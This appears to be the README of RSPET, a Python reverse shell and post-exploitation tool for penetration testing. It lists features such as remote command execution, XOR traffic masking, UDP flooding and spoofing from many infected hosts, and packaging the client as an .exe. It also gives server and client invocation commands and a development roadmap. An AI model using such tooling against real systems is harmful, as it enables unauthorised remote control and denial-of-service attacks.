RSPET (Reverse Shell and Post Exploitation Tool) is a Python based reverse shell equipped with functionalities that assist in a post exploitation scenario.
DISCLAIMER: This software is provided for educational and PenTesting purposes and as a proof of concept. The developer(s) do not endorse, incite or in any other way support unauthorised computer access and networks disruption.
min folder has been removed. The added overhead of maintaining two versions lead to
min not receiving bug-fixes and important updates. If there is interest, both in using and maintaining, a more bare-bone and simplistic version, a new branch will be created to host it.
Follow: @TheRSPET on Twitter for updates.
Documentation : rspet.readthedocs.io
- Remote Command Execution
Trafic masking (XORed instead of cleartext); for better results use port 443
- TLS Encryption of the Server-Client communication
- Built-in File/Binary transfer (both ways) over the
- Built-in UDP Flooding tool
- Built-in UDP Spoofing tool
- Multiple/All Hosts management; order File/Binary transfer and UDP Flood from Multiple/All connected Hosts
- Modular Code Design to allow easy customization
- Client script is tested and is compatible with PyInstaller (can be made into .exe)
- Full server side Plug-in support
- Plug-in management, including the ability to Install(Download) and Dynamically Load Plug-ins.
- RESTful API for the Server Module
*The idea for XORing as well as the skeleton for the client came from primalsecurity.net so if you like this pack of scripts you'll probably love what they do
*UDP Spoofing uses RAW_SOCKETS so in order to utilize it, the client has to run on an OS that supports RAW_SOCKETS (most Unix-Based) and with root privileges. Finally, most of the ISPs have implementations in place that will either drop or re-structure spoofed packets
*Again check primalsecurity.net's perfect blogpost about producing an .exe
*Detailed documentation on creating Plug-ins available in Online Documentation!
rspet_server.pyis situated at the attacker's machine and running to accept connections
rspet_client.pyis situated in the infected machine(s) and will initiate the connection and wait for input.
./setup.py while on the project's root folder will generate the required certificates and install all needed components through pip.
Of course you can manually install the pip packages required by executing
pip2 install Flask flask-cors.
Also you can generate your own key-cert set (just name them
server.crt and place them inside the Server folder).
python rspet_server.py [-c #clients, --ip ipToBind, -p portToBind]
max_connections defaults to 5 if left blank
python rspet_server_api.py [-c #clients, --ip ipToBind, -p portToBind]
python rspet_client.py <server_ip> [server_port]
Many changes can be made to fit individual needs.
As always if you have any suggestion, bug report or complain feel free to contact me.
A list of Distros that contain RSPET
As Featured in
Fix logic bug where if a direct command to Host OS has no output Server displays command not recognized
- Fix logic bug where if a direct command's to Host OS execution is perpetual the Server deadlocks
- Investigate weather the issue resides in the Server logic or the linearity of the CLI.
Add client version and type (min or full) as a property when client connects and at
- Add TLS encryption in order to:
- Replace XORing (and subsequently obfuscation with encryption)
- Verify the "authenticity" of clients
- A mechanism to issue and verify client certificates
- A mechanism to recognize compromised client certs
- Add client update mechanism (initial thought was the use of execv but it acts up)
- Add a Plug-in system to client (a more compact one)
- Add remote installation of Plug-ins to client
- Add installed Plug-ins report from client to server
- Add UDP Reflection functionality
- Provide more settings via config file
- Re-introduce multythreading when handling multiple hosts.
- Make commands available with 'Tab' automatically generated based on loaded Plug-ins.
Fix logical bug when deleting a client. (Client still shows up on List_Hosts)
Create comprehensive Plug-in creation guide.
- Add support for command overridding in server plugins
- Add dependency support for server plugins
This project is following Google's Python Styleguide with a minor variation on the use of whitespaces to align ":" tokens.
This project is open for contributors. If you have implemented a new feature, or maybe an improvement to the current code feel free to open a pull request. If you want to suggest a new feature open an issue. Additionally Testers are needed to run a few standard scenarios (and a few of their own maybe) to decrease the chance a bug slips into a new version. Should there be any interest about testing a
beta branch will be created (where code to be tested will be uploaded) along with a list of scenarios. For a full guide on contribution opportunities and guides check out the "Contributing" chapter on RSPET's Online Documentation
Author - Project Owner/Manager
dzervas -- Code (Server OO-redesign, Server Plug-in system implementation, bug reports, bug fixes)
- b3mb4m -- Code (tab.py and bug fixes)
- junzy -- Docstings (udp_spoof & udp_spoof_send)
- gxskar -- Documentation (ASCIICAST of RSPET's basic execution)
- n1zzo -- Bug Report & Fix (PR #31)
i. .7. .. :v c: .x i.:: : ..i.. #MMMMM QM AM 9M zM 6M AM 2M 2MX#MM@1. 0M tMMMMMMMMMM; .X#MMMM ;MMMMMMMMMMMMv cEMMMMMMMMMU7@MMMMMMMMMMMMM@ .n@MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM MMMMMMMM@@#$BWWB#@@#$WWWQQQWWWWB#@MM. MM ;M. $M EM WMO$@@@@@@@@@@@@@@@@@@@@@@@@@@@@#OMM #M cM QM tM MM CMO .MMMM oMMMt 1MO 6MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM iMM .M1 BM VM ,Mt 1M @M .............................. WM M6 MM .A8OQWWWWWWWWWWWWWWWWWWWWWWWWWWW0Az2 #M MM MM. @MMY vMME UMMMbi i8MMMt C@MMMMMbt;;i.......i;XQMMMMMMt ;ZMMMMMMMMMMMMMMM@A;. The Cake is a Lie. But it has been a Year :)